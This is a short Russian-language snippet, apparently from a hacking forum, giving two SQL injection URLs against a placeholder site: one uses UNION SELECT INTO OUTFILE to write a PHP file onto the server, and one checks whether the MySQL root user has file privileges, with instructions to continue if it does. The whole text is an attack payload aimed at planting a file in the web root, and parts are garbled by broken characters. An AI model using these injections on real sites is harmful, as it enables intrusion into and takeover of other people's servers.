1) http://site.com/index.php?id=-1'+union+select+1,2,'',4+into+outfile+'полны� � путь/1.php'--
P.S: у пользователя должны быть права на запись
2) http://site.com/index.php?id=-1'+union+select+1,2,File_Priv,4+from+mysql.user+wh ere+user= 'root'--
Если появиться
Y
то действуй дальше